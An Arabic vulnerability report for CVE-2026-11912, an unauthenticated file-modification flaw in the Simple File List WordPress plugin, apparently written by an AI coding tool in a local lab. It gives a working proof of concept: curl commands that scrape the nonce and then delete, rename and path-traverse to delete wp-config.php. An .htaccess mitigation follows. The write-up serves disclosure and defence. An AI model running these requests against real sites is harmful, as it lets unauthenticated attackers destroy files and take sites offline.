
غياب التفويض لتعديل الملفات بدون مصادقة
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-11912 |
| درجة CVSS | 7.5 (عالية) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| الإضافة المتأثرة | Simple File List |
| الإصدارات المتأثرة | <= 6.3.7 |
| الإصدار المُصحَّح | 6.3.8 |
| تاريخ النشر | 19 يونيو 2026 |
| الباحث | Chloe Chamberland - Wordfence |
| بيئة المختبر | poloss-lab.ddev.site (DDEV) |
إضافة Simple File List لووردبريس معرضة لتعديل الملفات التعسفي بسبب عدم كفاية فحوصات التفويض في جميع الإصدارات حتى 6.3.7. هذا يتيح للمهاجمين غير المصادق عليهم حذف وتعديل الملفات على الخادم.
تكمن الثغرة فيما يلي:
تسجيل نقطة نهاية AJAX: تم تسجيل إجراء AJAX simplefilelist_edit_job باستخدام كل من ربطتي wp_ajax_ و wp_ajax_nopriv_، مما يسمح بالوصول غير المصادق عليه:
add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
فحص تفويض معيب: يستخدم منطق التفويض في eeSFL_FileEditor() (السطر 1265):
if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
return;
}
ترجع الدالة is_admin() قيمة FALSE لطلبات AJAX، مما يتسبب في تقصير فحص التفويض قبل تقييم الإعداد AllowFrontManage.
كشف nonce: يتم إنشاء nonce الأمان (eeSFL_ActionNonce) باستخدام wp_create_nonce() ويتم كشفه في كود HTML المصدر للواجهة الأمامية، مما يسمح للمهاجمين باستخراجه دون مصادقة.
أثناء الاختبار، تم استغلال هذه الثغرة بنجاح لحذف ملف إعدادات ووردبريس (wp-config.php)، مما أدى إلى تعطيل الموقع بالكامل. هذا يوضح خطورة جانب اجتياز المسار لهذه الثغرة.
# احصل على nonce الأمان من صفحة قائمة الملفات
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Output: eeSFL_ActionNonce">1c14af78c2
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=test.txt"
# Response: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Edit" \
-d "eeFileName=original.pdf" \
-d "eeFileNameNew=malicious.pdf"
# Response: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=../../wp-config.php"
# Response: SUCCESS (حرج - يؤدي إلى تعطيل الموقع!)
[eeSFL]# حظر استدعاءات AJAX لـ simplefilelist_edit_job
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
التقرير منشأ بواسطة Claude Code - مختبر اختبار أمان ووردبريس التاريخ: 20 يونيو 2026